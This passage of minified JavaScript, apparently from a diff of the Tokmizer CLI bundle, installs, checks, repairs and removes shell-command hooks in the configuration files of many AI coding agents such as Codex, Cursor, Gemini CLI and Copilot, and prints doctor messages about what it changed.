e||Xx.has(be(e,"tool_name")??"")],["grok",e=>e.toolName==="run_terminal_command"||e.tool_name==="run_terminal_command"||mo(e.toolInput)&&!("toolArgs"in e)],["droid",e=>e.tool_name==="Execute"],["trae",e=>e.tool_name==="RunCommand"],["crush",e=>e.hook_event_name===void 0&&be(e,"event")!==null&&!Yx.has(be(e,"event"))]],eE=new Set(["codex","antigravity"])});var Nt,ll=y(()=>{"use strict";js();Nt="tkr-context-hook"});function cl(e){let t=Va(e);return!t||t.launcherMark!==void 0?!1:t.program==="tkr-exec"?t.args.length===1&&tE.has(t.args[0]):t.program==="tkr"?t.args.length===2&&t.args[0]==="hook"&&nE.has(t.args[1]):rE.has(t.program)&&oE.test(e)}function iE(e){if(typeof e!="string")return null;if(Fe(e,Nt))return"context";if(cl(e))return"claude-code";for(let[n,r]of sE)if(Fe(e,n))return r;return Fe(e,"tkr-agent-hook")?/\b(vibe|antigravity)['"]?\s*$/.exec(e)?.[1]??null:null}function pm(e){return t=>{let n=iE(t);return n!==null&&n!=="context"&&n!==e}}var tE,nE,rE,oE,sE,ul=y(()=>{"use strict";me();ll();tE=new Set(["--pre-tool-use","--post-tool-use","--session-start"]),nE=new Set(["pre-tool-use","post-tool-use","session-start","session-recap","reducer-session-start","reducer-prompt-submit","reducer-stop","command-expansion"]),rE=new Set(["pre-tool-use","post-tool-use","session-recap","reducer-session-start","reducer-prompt-submit","reducer-stop","command-expansion","on-session-start"]),oE=/(?:tokmizer|\$\{?CLAUDE_PLUGIN_ROOT\}?)[^'"\n]*?[\\/]+(?:dist[\\/]+hooks-host[\\/]+(?:pre-tool-use|post-tool-use|session-recap|reducer-session-start|reducer-prompt-submit|reducer-stop|command-expansion)\.js|hooks[\\/]+on-session-start\.mjs)/i;sE=[["tkr-codex-hook","codex"],["tkr-cursor-hook","cursor"],["tkr-gemini-hook","gemini-cli"],["tkr-copilot-hook","copilot"],["tkr-droid-hook","droid"],["tkr-trae-hook","trae"],["tkr-qwen-hook","qwen-code"],["tkr-crush-hook","crush"],["tkr-junie-hook","junie"],["tkr-zcode-hook","zcode"],["tkr-grok-hook","grok"]]});var Rm={};he(Rm,{claudeFormHook:()=>cl,codexConfigFile:()=>go,codexFindingLines:()=>gl,codexFindings:()=>ho,codexHome:()=>Yn,codexPluginProvidesHook:()=>Qn,codexPlugins:()=>dl,disableLegacyPlugins:()=>Tm,projectCodexDirs:()=>zs,repairCodexConfig:()=>Us,stripJsonHooks:()=>pl,stripTomlHooks:()=>ml});import{existsSync as fl,readFileSync as aE,readdirSync as lE}from"node:fs";import{dirname as gm,join as qe,resolve as po}from"node:path";import Sm from"node:os";import{isDeepStrictEqual as cE}from"node:util";function Yn(){return process.env.CODEX_HOME||qe(Sm.homedir(),".codex")}function go(){return qe(Yn(),"config.toml")}function Xn(e){try{return aE(e,"utf8")}catch{return null}}function xm(e){let t=[],n=null;return e.forEach((r,o)=>{let s=n===null?uE.exec(r):null;for(let i of r.matchAll(/"""|'''/g))n===null?n=i[0]:n===i[0]&&(n=null);s&&(t.length&&(t[t.length-1].end=o),t.push({header:s[1],start:o,end:e.length}))}),t}function ym(e){return e.split(/[.+-]/).map(t=>/^\d+$/.test(t)?Number(t):-1)}function dE(e,t){let[n,r]=[ym(e),ym(t)];for(let o=0;o<Math.max(n.length,r.length);o++){let s=(r[o]??-1)-(n[o]??-1);if(s)return s}return t.localeCompare(e)}function mE(e){let t=qe(Yn(),"plugins","cache",e,"tokmizer"),n;try{n=lE(t).sort(dE)[0]}catch{return null}if(!n)return null;let r=qe(t,n),o=Xn(qe(r,".codex-plugin","plugin.json"));try{if(o!==null&&JSON.parse(o).hooks!=null)return"hooked"}catch{}return fl(qe(r,"hooks","hooks.json"))?"legacy":null}function vm(e){let t=[],n=xm(e);for(let r of n){let o=fE.exec(r.header);if(!o)continue;let s=e.slice(r.start+1,r.end);t.push({marketplace:o[1]??o[2],enabled:!s.some(i=>/^\s*enabled\s*=\s*false\s*(?:#.*)?$/.test(i)),table:r})}return e.forEach((r,o)=>{let s=Em.exec(r);if(!s)return;let i=n.filter(l=>l.start<o&&o<l.end)[0];(!/^\s*plugins\s*\./.test(r)?i?.header!=="[plugins]":i!==void 0)||t.push({marketplace:s[3],enabled:!/(?:^|,)\s*enabled\s*=\s*false\s*(?:,|$)/.test(s[4]),line:o})}),t}function dl(e=Xn(go())){return e?vm(e.split(/\r?\n/)).map(t=>({id:`tokmizer@${t.marketplace}`,marketplace:t.marketplace,enabled:t.enabled,state:mE(t.marketplace)})):[]}function Qn(){let e=dl().filter(t=>t.enabled&&t.state);return e.length>0&&e.every(t=>t.state==="hooked")}function Tm(e,t){let n=e.split(/(?<=\n)/),r=n.map(s=>s.replace(/\r?\n$/,"")),o=vm(r).filter(s=>t.includes(`tokmizer@${s.marketplace}`));for(let s of o.sort((i,a)=>(a.table?.start??a.line)-(i.table?.start??i.line))){if(s.line!==void 0){let c=Em.exec(r[s.line]),u=/\benabled\s*=\s*\w+/.test(c[4])?c[4].replace(/\benabled\s*=\s*\w+/,"enabled = false"):c[4].trim()?` enabled = false,${c[4]}`:" enabled = false ";n[s.line]=`${c[1]}${u}${c[5]}${n[s.line].slice(r[s.line].length)}`;continue}let i=s.table,a=/\r\n$/.test(n[i.start]??"")?`\r
33
50
  `:`
34
- `,l=r.slice(i.start+1,i.end).findIndex(c=>/^\s*enabled\s*=/.test(c));l>=0?n[i.start+1+l]=`enabled = false${a}`:n.splice(i.start+1,0,`enabled = false${a}`),/\n$/.test(n[i.start])||(n[i.start]+=a)}return n.join("")}function tp(e){let t=e.trim();if(t.startsWith("'"))return/^'([^']*)'/.exec(t)?.[1]??t;let n=/^"((?:\\.|[^"\\])*)"/.exec(t);if(!n)return t;try{return JSON.parse(`"${n[1]}"`)}catch{return n[1]}}function tl(e,t){let n=e.split(/(?<=\n)/),r=n.map(u=>u.replace(/\r?\n$/,"")),o=sp(r),s=new Set,i=new Map,a=[],l=[];o.forEach((u,f)=>{let d=r.slice(u.start+1,u.end);if(ep.test(u.header)){let h=d.map(m=>Ox.exec(m)?.[1]).find(m=>m!=null);h&&t(tp(h))&&(s.add(u),a.push(h.trim()));return}let p=Cx.exec(u.header);if(!p)return;let g=[];for(let h of o.slice(f+1)){if(ep.exec(h.header)?.[2]!==p[2])break;g.push(h)}i.set(u,g)});for(let[u,f]of i)f.length&&f.every(d=>s.has(d))&&s.add(u);for(let u of[...s].sort((f,d)=>d.start-f.start)){let f=u.end,d=f;for(;d-1>u.start&&/^\s*(?:#.*)?$/.test(r[d-1]);)d--;let p=r.slice(d,f).findIndex(g=>/^\s*#/.test(g));p>=0&&f<r.length&&(f=d+p),n.splice(u.start,f-u.start)}let c=n.join("");for(let u of c.split(/\r?\n/))if(!/^\s*#/.test(u))for(let f of u.matchAll(Px))t(tp(f[1]))&&l.push(u.trim());return{text:c,removed:a,inline:l}}function nl(e,t){let n=[];if(!L(e.hooks))return n;let r=e.hooks;for(let[o,s]of Object.entries(r)){if(!Array.isArray(s))continue;let i=[];for(let a of s){if(!L(a)||!Array.isArray(a.hooks)){i.push(a);continue}let l=a.hooks.filter(c=>{let u=L(c)&&t(c.command);return u&&n.push(String(c.command)),!u});l.length&&i.push(l.length===a.hooks.length?a:{...a,hooks:l})}i.length?r[o]=i:delete r[o]}return n}function Ix(){return Ke(qn(),"hooks.json")}function Ls(e=process.cwd()){let t=[],n=new Set([lo(op.homedir()),lo(qn(),"..")]),r=lo(e);for(let o=0;o<64;o++){let s=Ke(r,".codex");if(lo(s)!==lo(qn())&&Qa(s)&&t.push(s),Qa(Ke(r,".git"))||n.has(r)||Xd(r)===r)break;r=Xd(r)}return t}function np(e){let t=Yn(e);if(!t)return null;try{let n=JSON.parse(t);if(!L(n))return null;let r=nl(structuredClone(n),Fs);return r.length?{kind:"hooks-json",file:e,commands:r}:null}catch{return null}}function rp(e,t=Yn(e)){if(!t)return null;let n=tl(t,Fs);return n.removed.length||n.inline.length?{kind:"config-toml",file:e,commands:n.removed,inline:n.inline}:null}function uo(e=process.cwd(),t=!1){let n=[np(Ix())],r=Yn(co());n.push(rp(co(),r));let o=r?el(r).filter(s=>s.enabled&&s.state==="legacy").map(s=>s.id):[];if(o.length&&n.push({kind:"legacy-plugin",file:co(),ids:o}),t)for(let s of Ls(e))n.push(np(Ke(s,"hooks.json")),rp(Ke(s,"config.toml")));return n.filter(s=>s!==null)}function rl(e){return e.map(t=>t.kind==="legacy-plugin"?`Codex: the ${t.ids.join(", ")} plugin is an old build that makes Codex run the Claude Code hooks (error "updatedInput without permissionDecision:allow") \u2014 run: tkr doctor --fix`:t.kind==="config-toml"&&t.inline.length&&!t.commands.length?`Codex: ${t.file} has Tokmizer hooks made for another agent, written in a form tkr cannot edit safely \u2014 remove them by hand, then run: tkr setup-codex`:`Codex: ${t.file} has ${t.commands.length} Tokmizer hook${t.commands.length===1?"":"s"} made for another agent (copied or imported, e.g. by Codex /import) \u2014 run: tkr doctor --fix`)}async function Hs(e=uo()){let t=[],n=!1,r=!1;for(let o of e){if(o.kind==="hooks-json"){let i=await oe(o.file),a=i?nl(i,Fs):[];if(!i||a.length&&!await se(o.file,i)){r=!0,t.push(`Could not update ${o.file}; remove the Tokmizer hooks made for another agent from it by hand.`);continue}a.length&&(n=!0,t.push(`Removed ${a.length} Tokmizer hook${a.length===1?"":"s"} made for another agent from ${o.file} (backup in ~/.tokmizer/backup/config).`));continue}let s=Yn(o.file);if(s!==null){if(o.kind==="config-toml"){let i=tl(s,Fs);if(!i.removed.length)continue;if(!await ht(o.file,i.text,s)){r=!0,t.push(`Could not update ${o.file}; remove the Tokmizer hooks made for another agent from it by hand.`);continue}n=!0,t.push(`Removed ${i.removed.length} Tokmizer hook${i.removed.length===1?"":"s"} made for another agent from ${o.file} (backup in ~/.tokmizer/backup/config).`);continue}if(!await ht(o.file,lp(s,o.ids),s)){r=!0,t.push(`Could not update ${o.file}; run: codex plugin remove ${o.ids[0]}`);continue}n=!0,t.push(`Turned off the old ${o.ids.join(", ")} Codex plugin, which ran the Claude Code hooks (backup in ~/.tokmizer/backup/config). Once a newer Tokmizer is out, codex plugin marketplace upgrade then codex plugin add ${o.ids[0]} brings it back.`)}}return{lines:t,changed:n,error:r}}var Fs,Tx,Rx,ip,Cx,ep,Ox,Px,ol=y(()=>{"use strict";de();Wn();Xa();Xa();Fs=Yd("codex");Tx=/^\s*\[\[?[^\[\]=,]+\]\]?\s*(?:#.*)?$/;Rx=/^\[\s*plugins\s*\.\s*(?:"tokmizer@([^"]+)"|'tokmizer@([^']+)')\s*\]$/,ip=/^(\s*(?:plugins\s*\.\s*)?(["'])tokmizer@([^"']+)\2\s*=\s*\{)([^}]*)(\}.*)$/;Cx=/^\[\[\s*hooks\s*\.\s*(["']?)([A-Za-z]+)\1\s*\]\]$/,ep=/^\[\[\s*hooks\s*\.\s*(["']?)([A-Za-z]+)\1\s*\.\s*(["']?)hooks\3\s*\]\]$/,Ox=/^\s*command\s*=\s*(.+)$/,Px=/\bcommand\s*=\s*("(?:\\.|[^"\\])*"|'[^']*')/g});var mp={};ge(mp,{codexDoctorFix:()=>Hx,codexDoctorLines:()=>Lx,codexHookCommand:()=>Fx,codexHookInstalled:()=>ll,codexHooksFile:()=>Le,ensureCodexHook:()=>fp,removeCodexHook:()=>dp,setupCodexHook:()=>pp});import{existsSync as Nx,readFileSync as Mx}from"node:fs";import{join as js}from"node:path";import Dx from"node:os";function Le(){return js(process.env.CODEX_HOME||js(Dx.homedir(),".codex"),"hooks.json")}function sl(e){return e!=null&&typeof e=="object"&&Fe(e.command,up)}function il(e){return(Array.isArray(e.hooks)?e.hooks:[]).find(sl)}function al(){try{return(re(Mx(Le(),"utf8")).hooks?.PreToolUse??[]).some(t=>il(t)!=null)}catch{return!1}}function ll(){return al()||Xn()}async function fp(e){let t=Le(),n=await oe(t);if(!n)return"error";let r=n.hooks&&typeof n.hooks=="object"?n.hooks:{},o=Array.isArray(r.PreToolUse)?r.PreToolUse:[],s="added",i=o.map(il).find(a=>a!=null);if(i){let a=Vn(o,sl,i,!0);if(i.command===e&&i.timeout===10&&!a)return"present";i.command=e,i.timeout=10,s="updated"}else o.push({matcher:"Bash",hooks:[{type:"command",command:e,timeout:10}]});return r.PreToolUse=o,n.hooks=r,await se(t,n)?s:"error"}function Fx(e,t){return Ot(up,e,t)}async function dp(){let e=Le();if(!Nx(e))return"absent";let t=await oe(e);if(!t)return"error";let n=Array.isArray(t.hooks?.PreToolUse)?t.hooks.PreToolUse:[];if(!n.some(o=>il(o)!=null))return"absent";let r=n.map(o=>({...o,hooks:(o.hooks??[]).filter(s=>!sl(s))})).filter(o=>o.hooks.length>0);return t.hooks.PreToolUse=r,r.length||delete t.hooks.PreToolUse,await se(e,t)?"removed":"error"}async function pp(e){let t=await Hs();return Xn()?{hook:await dp()==="error"?"error":"plugin",repair:t}:{hook:await fp(e),repair:t}}function Lx(){let e=rl(uo(process.cwd(),!0));return Xn()&&al()&&e.push(`Codex: the Tokmizer plugin and ${Le()} both run the Tokmizer hook \u2014 run: tkr doctor --fix`),e}async function Hx(e){let t=uo(process.cwd(),!0),n=Xn()&&al();if(!t.length&&!n)return[];let r=new Set(Ls().flatMap(l=>[js(l,"hooks.json"),js(l,"config.toml")])),o=await Hs(t.filter(l=>r.has(l.file))),{hook:s,repair:i}=await pp(e),a=[...o.lines,...i.lines];return s==="error"?a.push(`Could not update ${Le()}; run tkr setup-codex again.`):s==="plugin"?a.push(n?`Removed the extra Tokmizer hook from ${Le()}: the Tokmizer Codex plugin already runs it.`:"The Tokmizer Codex plugin runs the Codex hook."):a.push(`${s==="present"?"The Codex hook is set":"Added the Codex hook"} in ${Le()}.`),(i.changed||o.changed||s==="added"||s==="updated")&&a.push("In Codex, run /hooks once, approve the Tokmizer hook, then restart Codex."),a}var up,Bs=y(()=>{"use strict";yt();de();ol();up="tkr-codex-hook"});import{existsSync as RL,readFileSync as jx}from"node:fs";import{join as Bx}from"node:path";import zx from"node:os";function fo(){return Bx(zx.homedir(),".cursor","hooks.json")}function Jx(e){return L(e)&&Fe(e.command,Ux)}function Gx(e){let t=L(e.hooks)?e.hooks:{},n=Array.isArray(t[gp])?t[gp]:[];return{hooks:t,entries:n}}function zs(){try{let e=re(jx(fo(),"utf8"));return Gx(e).entries.some(Jx)}catch{return!1}}var Ux,gp,Us=y(()=>{"use strict";yt();de();Ux="tkr-cursor-hook",gp="preToolUse"});import{existsSync as NL,readFileSync as Zx}from"node:fs";import{join as Kx}from"node:path";import Wx from"node:os";function po(){return Kx(process.env.GEMINI_CLI_HOME||Wx.homedir(),".gemini","settings.json")}function qx(e){return L(e)&&Fe(e.command,Vx)}function Yx(e){return(Array.isArray(e.hooks)?e.hooks:[]).find(qx)}function Xx(e){let t=L(e.hooks)?e.hooks:{},n=Array.isArray(t[hp])?t[hp]:[];return{hooks:t,groups:n}}function yp(){try{let e=re(Zx(po(),"utf8"));return Xx(e).groups.some(t=>Yx(t)!=null)}catch{return!1}}var Vx,hp,Js=y(()=>{"use strict";yt();de();Vx="tkr-gemini-hook",hp="BeforeTool"});import{existsSync as Qx,readFileSync as ev}from"node:fs";function Gs(e,t){return L(e)&&Fe(e.command,t)}function kp(e){return e.path??(e.nested?["hooks"]:[])}function bp(e,t){let n=e;for(let r of kp(t))L(n[r])||(n[r]={}),n=n[r];return n}function wp(e,t){let n=e;for(let o of kp(t))n=L(n)?n[o]:void 0;if(!L(n))return[];let r=n[t.event];return Array.isArray(r)?r:[]}function tv(e){return L(e)&&Array.isArray(e.hooks)?e.hooks:[]}function _p(e,t){return(t.matcher===void 0?e:e.flatMap(tv)).filter(r=>Gs(r,t.mark))}function Sp(e,t){return _p(wp(e,t),t).length>0}function mo(e,t){try{let n=re(ev(e,"utf8"));return L(n)&&Sp(n,t)}catch{return!1}}function nv(e,t,n){let r=bp(e,t),o=Array.isArray(r[t.event])?r[t.event]:[];r[t.event]=o;let s=_p(o,t)[0],i=t.entry(n);if(s){let a=Vn(o,c=>Gs(c,t.mark),s,t.matcher!==void 0),l=Object.entries(i).filter(([c,u])=>JSON.stringify(s[c])!==JSON.stringify(u));if(!l.length&&!a)return"present";for(let[c,u]of l)s[c]=u;return"updated"}return o.push(t.matcher===void 0?i:{matcher:t.matcher,hooks:[i]}),"added"}function rv(e,t){if(!Sp(e,t))return!1;let n=bp(e,t),r=wp(e,t),o=t.matcher===void 0?r.filter(s=>!Gs(s,t.mark)):r.map(s=>L(s)&&Array.isArray(s.hooks)?{...s,hooks:s.hooks.filter(i=>!Gs(i,t.mark))}:s).filter(s=>!L(s)||!Array.isArray(s.hooks)||s.hooks.length>0);return o.length?n[t.event]=o:delete n[t.event],!0}async function go(e,t,n){let r=await oe(e);if(!r||t.prepare&&!t.prepare(r))return"error";let o=nv(r,t,n);return o==="present"||await se(e,r)?o:"error"}async function un(e,t){if(!Qx(e))return"absent";let n=await oe(e);return n?rv(n,t)?await se(e,n)?"removed":"error":"absent":"error"}var cl=y(()=>{"use strict";yt();de()});import{existsSync as fl,readFileSync as ov}from"node:fs";import{join as pe}from"node:path";import sv from"node:os";function rt(){return sv.homedir()}function er(e){return e.version===void 0&&(e.version=1),e.version===1}function iv(e,t,n){return Promise.all(e.map(r=>go(r,t,n))).then(r=>r.includes("error")?"error":r.includes("updated")?"updated":r.includes("added")?"added":"present")}function av(e,t){return Promise.all(e.map(n=>un(n,t))).then(n=>n.includes("error")?"error":n.includes("removed")?"removed":"absent")}function fn(e,t){return{...e,installed:()=>e.files().some(n=>mo(n,t)),ensure:n=>iv(e.files(),t,n),remove:()=>av(e.files(),t)}}function pl(){return pe(process.env.COPILOT_HOME||pe(rt(),".copilot"),"hooks","tokmizer.json")}function ml(){let e=[pe(rt(),".trae","hooks.json")];return fl(pe(rt(),".trae-cn"))&&e.push(pe(rt(),".trae-cn","hooks.json")),e}function gl(){return pe(process.env.QWEN_HOME||pe(rt(),".qwen"),"settings.json")}function dv(){return pe(process.env.XDG_CONFIG_HOME||pe(rt(),".config"),"crush","crush.json")}function mv(){return pe(rt(),".junie","config.json")}function hl(e){return e.hooks===void 0&&(e.hooks={}),L(e.hooks)?(e.hooks.enabled===void 0&&(e.hooks.enabled=!0),e.hooks.events===void 0||L(e.hooks.events)):!1}function yl(){return pe(rt(),".zcode","cli","config.json")}function yv(){return pe(rt(),".grok","hooks","tokmizer.json")}function ul(){return pe(rt(),".factory")}function Qn(){return[{file:pe(ul(),"hooks.json"),spec:dl},{file:pe(ul(),"hooks","hooks.json"),spec:dl},{file:pe(ul(),"settings.json"),spec:bv}]}function xp(e){try{let t=JSON.parse(ov(e,"utf8"));return L(t)?t:null}catch{return null}}function vp(e,t){let n=t?e?.hooks:e;return L(n)&&Array.isArray(n.PreToolUse)&&n.PreToolUse.length>0}function Zs(){let[e,t,n]=Qn(),r=fl(e.file)?e:fl(t.file)?t:null;return r&&vp(xp(r.file),!1)?r:vp(xp(n.file),!0)?n:r??e}var lv,cv,uv,fv,pv,gv,hv,kv,dl,bv,wv,tr,Ks=y(()=>{"use strict";de();cl();lv={mark:"tkr-copilot-hook",event:"PreToolUse",nested:!0,entry:e=>({type:"command",command:e,bash:e,powershell:e,timeout:10,timeoutSec:10}),prepare:er};cv={mark:"tkr-trae-hook",event:"PreToolUse",nested:!0,matcher:"RunCommand",entry:e=>({type:"command",command:e,timeout:30}),prepare:er};uv={mark:"tkr-qwen-hook",event:"PreToolUse",nested:!0,matcher:"run_shell_command",entry:e=>({name:"tokmizer",type:"command",command:e,timeout:10})};fv={mark:"tkr-crush-hook",event:"PreToolUse",nested:!0,entry:e=>({name:"tokmizer",matcher:"^bash$",command:e,timeout:10})};pv={mark:"tkr-junie-hook",event:"PreToolUse",nested:!0,matcher:"^Bash$",entry:e=>({type:"command",command:e,timeout:10})};gv={mark:"tkr-zcode-hook",event:"PreToolUse",nested:!0,path:["hooks","events"],matcher:"Bash",entry:e=>({type:"command",command:e,timeoutMs:1e4}),prepare:hl};hv={mark:"tkr-grok-hook",event:"PreToolUse",nested:!0,matcher:"Bash",entry:e=>({type:"command",command:e,timeout:10})};kv="tkr-droid-hook",dl={mark:kv,event:"PreToolUse",nested:!1,matcher:"Execute",entry:e=>({type:"command",command:e,timeout:10})},bv={...dl,nested:!0};wv={id:"droid",label:"Factory Droid",setup:"tkr setup-droid",bin:"tkr-droid-hook",restart:"Restart Droid, then check it with /hooks.",files:()=>[Zs().file],installed:()=>Qn().some(e=>mo(e.file,e.spec)),ensure:async e=>{let t=Zs(),n=await go(t.file,t.spec,e);return n==="error"||await Promise.all(Qn().filter(r=>r.file!==t.file).map(r=>un(r.file,r.spec))),n},remove:async()=>{let e=await Promise.all(Qn().map(t=>un(t.file,t.spec)));return e.includes("error")?"error":e.includes("removed")?"removed":"absent"}},tr=[fn({id:"copilot",label:"GitHub Copilot",setup:"tkr setup-copilot",bin:"tkr-copilot-hook",restart:"Restart VS Code or Copilot CLI so they load the new hook.",files:()=>[pl()]},lv),wv,fn({id:"trae",label:"Trae",setup:"tkr setup-trae",bin:"tkr-trae-hook",restart:"Restart Trae so it loads the new hook.",files:ml},cv),fn({id:"qwen-code",label:"Qwen Code",setup:"tkr setup-qwen",bin:"tkr-qwen-hook",restart:"Restart Qwen Code, then check it with /hooks.",files:()=>[gl()]},uv),fn({id:"crush",label:"Crush",setup:"tkr setup-crush",bin:"tkr-crush-hook",restart:"Restart Crush so it loads the new hook.",files:()=>[dv()]},fv),fn({id:"junie",label:"Junie CLI",setup:"tkr setup-junie",bin:"tkr-junie-hook",restart:"Restart Junie CLI so it loads the new hook.",files:()=>[mv()]},pv),fn({id:"zcode",label:"ZCode",setup:"tkr setup-zcode",bin:"tkr-zcode-hook",restart:"Restart ZCode so it loads the new hook.",files:()=>[yl()]},gv),fn({id:"grok",label:"Grok Build",setup:"tkr setup-grok",bin:"tkr-grok-hook",restart:"Restart Grok Build (1.0.4 or newer) so it loads the new hook.",files:()=>[yv()]},hv)]});import{existsSync as YL,accessSync as XL,constants as QL,readFileSync as _v}from"node:fs";function xv(e){return e.includes(Sv)}function Ep(e){try{return xv(_v(e,"utf8"))}catch{return!1}}var Sv,Tp=y(()=>{"use strict";de();tt();Wn();z();Sv='"rewrite", "--host"'});import{readFile as Ap,mkdir as vv}from"node:fs/promises";import{existsSync as bl,readFileSync as $p}from"node:fs";import{dirname as Ev,join as kl}from"node:path";import Cp from"node:os";function ko(){return kl(process.env.VIBE_HOME||kl(Cp.homedir(),".vibe"),"hooks.toml")}function Rp(e){return JSON.stringify(e)}function Tv(e){return["[[hooks]]",`name = ${Rp(Op)}`,'type = "pre_tool"','match = "bash"',`command = ${Rp(e)}`,"timeout = 10.0","strict = false",'description = "Route shell commands through tokmizer."',""].join(`
35
- `)}function wl(e){let t=[],n=[];for(let r of e.split(/(?<=\n)/))/^\s*\[\[?\s*[A-Za-z0-9_-]/.test(r)&&n.length&&(t.push(n.join("")),n=[]),n.push(r);return n.length&&t.push(n.join("")),t}function yo(e){return/^\s*\[\[hooks\]\]/.test(e)&&new RegExp(`^\\s*name\\s*=\\s*"${Op}"\\s*$`,"m").test(e)}async function Pp(e,t){try{await vv(Ev(e),{recursive:!0})}catch{return!1}return ht(e,t)}function Ip(){try{return wl($p(ko(),"utf8")).some(yo)}catch{return!1}}async function Np(e){let t=ko(),n="";try{bl(t)&&(n=await Ap(t,"utf8"))}catch{return"error"}let r=Tv(e),o=wl(n),s=o.filter(yo);if(s.length===1&&s[0].trimEnd()===r.trimEnd())return"present";let i=o.filter(l=>!yo(l)).join("").trimEnd(),a=i?`${i}
51
+ `,l=r.slice(i.start+1,i.end).findIndex(c=>/^\s*enabled\s*=/.test(c));l>=0?n[i.start+1+l]=`enabled = false${a}`:n.splice(i.start+1,0,`enabled = false${a}`),/\n$/.test(n[i.start])||(n[i.start]+=a)}return n.join("")}function bm(e){let t=e.trim();if(t.startsWith("'"))return/^'([^']*)'/.exec(t)?.[1]??t;let n=/^"((?:\\.|[^"\\])*)"/.exec(t);if(!n)return t;try{return JSON.parse(`"${n[1]}"`)}catch{return n[1]}}function ml(e,t){let n=e.split(/(?<=\n)/),r=n.map(u=>u.replace(/\r?\n$/,"")),o=xm(r),s=new Set,i=new Map,a=[],l=[];o.forEach((u,f)=>{let d=r.slice(u.start+1,u.end);if(km.test(u.header)){let h=d.map(p=>gE.exec(p)?.[1]).find(p=>p!=null);h&&t(bm(h))&&(s.add(u),a.push(h.trim()));return}let m=pE.exec(u.header);if(!m)return;let g=[];for(let h of o.slice(f+1)){if(km.exec(h.header)?.[2]!==m[2])break;g.push(h)}i.set(u,g)});for(let[u,f]of i)f.length&&f.every(d=>s.has(d))&&s.add(u);for(let u of[...s].sort((f,d)=>d.start-f.start)){let f=u.end,d=f;for(;d-1>u.start&&/^\s*(?:#.*)?$/.test(r[d-1]);)d--;let m=r.slice(d,f).findIndex(g=>/^\s*#/.test(g));m>=0&&f<r.length&&(f=d+m),n.splice(u.start,f-u.start)}let c=n.join("");if(a.length&&!yE(e,c))return{text:e,removed:[],inline:[]};for(let u of c.split(/\r?\n/))if(!/^\s*#/.test(u))for(let f of u.matchAll(hE))t(bm(f[1]))&&l.push(u.trim());return{text:c,removed:a,inline:l}}function yE(e,t){try{let{hooks:n,...r}=Pt(e),{hooks:o,...s}=Pt(t);return cE(r,s)}catch{return!1}}function pl(e,t){let n=[];if(!F(e.hooks))return n;let r=e.hooks;for(let[o,s]of Object.entries(r)){if(!Array.isArray(s))continue;let i=[];for(let a of s){if(!F(a)||!Array.isArray(a.hooks)){i.push(a);continue}let l=a.hooks.filter(c=>{let u=F(c)&&t(c.command);return u&&n.push(String(c.command)),!u});l.length&&i.push(l.length===a.hooks.length?a:{...a,hooks:l})}i.length?r[o]=i:delete r[o]}return n}function kE(){return qe(Yn(),"hooks.json")}function zs(e=process.cwd()){let t=[],n=new Set([po(Sm.homedir()),po(Yn(),"..")]),r=po(e);for(let o=0;o<64;o++){let s=qe(r,".codex");if(po(s)!==po(Yn())&&fl(s)&&t.push(s),fl(qe(r,".git"))||n.has(r)||gm(r)===r)break;r=gm(r)}return t}function wm(e){let t=Xn(e);if(!t)return null;try{let n=JSON.parse(t);if(!F(n))return null;let r=pl(structuredClone(n),Bs);return r.length?{kind:"hooks-json",file:e,commands:r}:null}catch{return null}}function _m(e,t=Xn(e)){if(!t)return null;let n=ml(t,Bs);return n.removed.length||n.inline.length?{kind:"config-toml",file:e,commands:n.removed,inline:n.inline}:null}function ho(e=process.cwd(),t=!1){let n=[wm(kE())],r=Xn(go());n.push(_m(go(),r));let o=r?dl(r).filter(s=>s.enabled&&s.state==="legacy").map(s=>s.id):[];if(o.length&&n.push({kind:"legacy-plugin",file:go(),ids:o}),t)for(let s of zs(e))n.push(wm(qe(s,"hooks.json")),_m(qe(s,"config.toml")));return n.filter(s=>s!==null)}function gl(e){return e.map(t=>t.kind==="legacy-plugin"?`Codex: the ${t.ids.join(", ")} plugin is an old build that makes Codex run the Claude Code hooks (error "updatedInput without permissionDecision:allow") \u2014 run: tkr doctor --fix`:t.kind==="config-toml"&&t.inline.length&&!t.commands.length?`Codex: ${t.file} has Tokmizer hooks made for another agent, written in a form tkr cannot edit safely \u2014 remove them by hand, then run: tkr setup-codex`:`Codex: ${t.file} has ${t.commands.length} Tokmizer hook${t.commands.length===1?"":"s"} made for another agent (copied or imported, e.g. by Codex /import) \u2014 run: tkr doctor --fix`)}async function Us(e=ho()){let t=[],n=!1,r=!1;for(let o of e){if(o.kind==="hooks-json"){let i=await se(o.file),a=i?pl(i,Bs):[];if(!i||a.length&&!await ie(o.file,i)){r=!0,t.push(`Could not update ${o.file}; remove the Tokmizer hooks made for another agent from it by hand.`);continue}a.length&&(n=!0,t.push(`Removed ${a.length} Tokmizer hook${a.length===1?"":"s"} made for another agent from ${o.file} (backup in ~/.tokmizer/backup/config).`));continue}let s=Xn(o.file);if(s!==null){if(o.kind==="config-toml"){let i=ml(s,Bs);if(!i.removed.length)continue;if(!await yt(o.file,i.text,s)){r=!0,t.push(`Could not update ${o.file}; remove the Tokmizer hooks made for another agent from it by hand.`);continue}n=!0,t.push(`Removed ${i.removed.length} Tokmizer hook${i.removed.length===1?"":"s"} made for another agent from ${o.file} (backup in ~/.tokmizer/backup/config).`);continue}if(!await yt(o.file,Tm(s,o.ids),s)){r=!0,t.push(`Could not update ${o.file}; run: codex plugin remove ${o.ids[0]}`);continue}n=!0,t.push(`Turned off the old ${o.ids.join(", ")} Codex plugin, which ran the Claude Code hooks (backup in ~/.tokmizer/backup/config). Once a newer Tokmizer is out, codex plugin marketplace upgrade then codex plugin add ${o.ids[0]} brings it back.`)}}return{lines:t,changed:n,error:r}}var Bs,hm,uE,fE,Em,pE,km,gE,hE,hl=y(()=>{"use strict";fo();me();Vn();ul();ul();Bs=pm("codex");hm=String.raw`(?:[A-Za-z0-9_-]+|"(?:[^"\\]|\\.)*"|'[^']*')`,uE=new 